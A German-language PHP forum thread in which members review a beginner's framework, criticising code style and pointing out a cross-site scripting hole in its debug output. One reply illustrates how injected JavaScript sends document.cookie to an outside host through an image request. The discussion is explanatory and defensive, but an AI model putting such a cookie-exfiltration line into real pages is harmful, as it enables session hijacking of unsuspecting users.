So umfangreich dass ich es hier nicht posten will. Da geschieht naemlich viel im Hintergrund. Mal ein Beispiel:

du rufst die URL hxxp://foo.bar/user/showprofile/alcaeus auf.
Uebers Routing habe ich folgendes URL-Schema definiert:
user/showprofile/:username

In diesem Fall leitet mich also der Controller ins user-Modul (Definiert durch die Klasse userActions) um und verlangt die Action showprofile (definiert durch die Methode executeShowprofile). Zusaetzlich wird der GET-Parameter "username" auf "alcaeus" gesetzt.
Dort lauf ich ins Model, um mir die Daten des Benutzers mit dem Namen "alcaeus" raussuchen zu lassen. Die Daten uebergebe ich an die View (einen Block HTML/PHP-Mischung, ein Smarty-Script, ein Twig-Template, etc.), welche im Hintergrund gerendert und ausgegeben wird.

Das wars jetzt kurz zusammengefasst - ein Blick durch die Einsteiger-Tutorials macht das eventuell noch verstaendlicher

Greetz
alcaeus

Hallo,

@himitsu: Nun, deine Session und Kekse Verwaltung liest sich nicht so toll, wenn alles in einer Datei steckt. Ich kann dir nur sagen, dass ich für Sessions bisher immer mit PHPs eigenen Session-Funktionen gut aus kam und diese auch weiterhin bevorzuge.

@alcaeus: Ich muss gestehen, dass ich diese Information von einem Freund blind übernommen habe, der wie ich finde durchaus Ahnung von der Materie hat. Ich habe selbst mit Zend schon öfter mal was angefangen, aber bisher nichts wirklich am laufen. Wenn du sagst Zend wäre nicht langsam, dann glaube ich dir das auch. Solange ich selbst nicht Hand angelegt habe, kann ich wohl nur auf andere Meinungen verweisen.

Liebe Grüße,
Valle

menno jetzt kann ich nimma mehr einschlafen
muß in 4 Stunden eh wieder aufstehn ... lohnt sich also eh nimmer

der erste Parameter heisst $__file. Trotzdem uebergibst du in index.php5 immer wieder __LINE__.
nja, es wird sich ja nun eh viel ändern, da macht das jetzt auch nicht mehr aus

debug_backtrace() hatte ich gestern nachmittag erst kennengelernt, aber so schnell bin ich auf diese Idee noch garnicht gekommen ... danke.
Einen kleinen Error-Handler hatte gestern auch erst eingebaut ... aber wie gesagt, da ändert sich jetzt eh viel.

Hatte die letzt Stunde beim Einschlafenversuchen so viele Gedanken und neue und hoffentlich bessere Ideen im Kopf, dank euch.

Tertiaere Operatoren ($foo ? 'bar' : 'baz') sind spaerlich zu nutzen.
Och menno, dabei hatte ich mit diesem Feature gerade meinen verspielt übertriebenen Spaß gehabt.
Ihr nehmt einem aber auch jede Freude.

Das bedeutet dass es ueber eine Million Ausfuehrungspfade durch die Funktion gibt.
Cooool
OK, hierfür hatte ich ja nun auch schon bessere Ideen gewonnen.

Auch wenns der Debug-Mode ist, die direkte Ausgabe von GPC-Variablen ist ne saudumme Idee.
autsch ... gut zu wissen


So, mal sehn was sich noch alles für gute Erkenntnisse hinter den massig Links verstecken.


Oder habe ich es nun doch nicht gepeilt...
ich glaub das stimmt.

Bis auf diese Debugausgabe hab ich schon versucht/geplant alle externen Eingaben zu prüfen.

Auch noch was.
"Neuere" Browser lassen ja z.B. absichtlich keine Server(URL) übergreifenden JavaScript-Zugriffe zu.
aber so kann man etwas in den "Kontext" der fremden Seite einschmuggeln und es hätte dann da vollen Zugriff.

Zitat von himitsu:

"Neuere" Browser lassen ja z.B. absichtlich keine Server(URL) übergreifenden JavaScript-Zugriffe zu.
aber so kann man etwas in den "Kontext" der fremden Seite einschmuggeln und es hätte dann da vollen Zugriff.

Richtig - die Same-Origin-Policy. Die hat auch ihre Grenzen, und die kann man schnell umgehen:

markieren

Code:

var foo = new Img(); foo.source='http://foo.baz/'+document.cookie;

Und da geht deine Same-Origin-Policy zur Tuer raus - Bilder sind naemlich vollkommen OK. Kann sein dass manche Heuristiken das mittlerweile abgreifen, da gibts aber noch zig Wege um Content an eine andere Seite zu uebermitteln sobald man mal das JS reingekriegt hat.

Greetz
alcaeus

Gibt es eigentlich sowas wie die "Class Helper" auch für PHP ?

Also daß man Klassen aufteilen kann und sobald z.B. eine Datei "includet" wird, welche diesen "Class Helper" enthält, dann bekommen auch alle existierenden und neuen Objekte/Instanzen der Eltern-Klasse auch die neuen Methoden verpaßt.

Zitat von himitsu:

Gibt es eigentlich sowas wie die "Class Helper" auch für PHP ?

Um mal das Ergebnis einer Suche zu zitieren:

Zitat:

Class helpers are a way to extend a class without using inheritance. A class helper simply introduces a wider scope for the compiler to use when resolving identifiers. [...] Very simply, they allow you to add your own code to existing objects without requiring the source code or recompiling. The new code only has public access to the original object, so it cannot access private or protected data.

(Quelle)
Um das kurz zu beantworten: nein. Dem Himmel (oder der Hoelle, je nachdem woran man lieber glaubt) sei Dank. Ich wuesste auch nicht wozu sowas gut sein sollte.

Greetz
alcaeus

Moin,

ich hab grad nochmal nen Blick in den Code geworfen. Nach PHP_Include() habe ich aufgegeben. Hier mal ein paar Punkte dazu:

• der erste Parameter heisst $__file. Trotzdem uebergibst du in index.php5 immer wieder __LINE__. Was denn jetzt?
• Der $__file-Parameter wird fuer die Fehlerbehandlung verwendet. Wenn du schon angeben willst, wo der Fehler seinen Ursprung hatte, guck dir mal debug_backtrace() an. Stack-Traces sind was Tolles
• markieren

  PHP-Quellcode:

  if ($AddScriptDir) $FileName = (@$Config['Scripts'] ? $Config['Scripts']
        : ($Config['RootPath'] ? $Config['RootPath'] . 'Scripts/' : dirname(__FILE__) . '/')) . $FileName;
  Soll ich? Also:
  • Gewoehn dir an, immer Klammerbloecke hinzuzufuegen.
  • Everytime you use "@", God kills a Kitten. Im Ernst, wenn du pruefen willst ob $Config['Scripts'] gesetzt ist und keine E_WARNING kassieren willst, pruef mit isset().
  • Tertiaere Operatoren ($foo ? 'bar' : 'baz') sind spaerlich zu nutzen. Das kann schnell mal schiefgehn.
  • Verschachtelte Tertiaere Operatoren sind noch viel schlimmer.
• Ok, weiter im Programm:
  
  markieren

  PHP-Quellcode:

  $FileName = preg_replace('#\.php$#i', $Config['Ext'] ? $Config['Ext'] : ((($X = dirname(__FILE__)
        . '/Functions.*') && ($Y = glob($X))) ? substr($Y[0], strlen($X) - 2) : '.php'), $FileName);
  Siehe oben. Ich fang jetzt gar nicht weiter an, vielleicht magst du den Code ja kurz erklaeren.
• Log_WriteFile: schmeiss lieber ne Exception und registrier nen Exception-Handler (set_exception_handler()). So kannst du in der Applikation auch individuell auf Fehler reagieren.

Und um die ganze Funktion ad absurdum zu fuehren: guck dir mal set_include_path() an. Auch das bereits erwaehnte spl_autoload ersparen dir da einige WTF-Momente.

BTW, ich hab den Code jetzt mal durch PHPMD gejagt. Allein die Funktion Main_Initialize() hat ne Cyclomatic Complexity von 74 (alles ueber 10 gilt als unwartbar) und ne NPath von 1067489280. Das bedeutet dass es ueber eine Million Ausfuehrungspfade durch die Funktion gibt. Alles ueber 300 sollte da refactored werden. Ich hab dir mal das Ergebnis angehaengt - mehr Informationen findest du auf der obigen Webseite.

@Valle: ein oft gemachter Fehler ist, dass eben der Opcode-Cache weggelassen wird. Das geht auf Dauer echt auf die Performance. Ich kann aber von der Performance nichts schlechtes berichten, und das bei echt grossen Anwendungen (mehrere 100k LOC).

Greetz
alcaeus

Ach, und noch was: ich hab nur kurz ueber die Functions.php5 drueber geguckt, aber die Sicherheitsluecke in Main_Fialize() bei aktiviertem Debug-Mode ist schon schnuckelig. So einfach war es noch nie, HTML-Code in die Seite reinzupruegeln. Cross-Site-Scripting wie man will. Auch wenns der Debug-Mode ist, die direkte Ausgabe von GPC-Variablen ist ne saudumme Idee.

Greetz
alcaeus

Mhm...ich will da jetzt auch was lernen, damit mir das selbst nicht passiert

Wie könnte man denn nun damit eine Cross-Site-Scripting Attacke fahren bzw. wo liegt denn jetzt die böse Lücke?

Zitat von blackfin:

Mhm...ich will da jetzt auch was lernen, damit mir das selbst nicht passiert

Wie könnte man denn nun damit eine Cross-Site-Scripting Attacke fahren bzw. wo liegt denn jetzt die böse Lücke?

Simpel, es wird dort alles ausgegeben was z.B. im get Array ist. Somit muss man da nur etwas java script reinpacken und man kann mit dem zielrechner (also der jenige der ein link zur präparierten seite bekommt) machen was man will(dein Antivirenprogramm hilft nicht wenn man über ne IE/Chrome/... Lücke und etwas JS kompletten zugriff auf das system bekommt ==> ja das geht)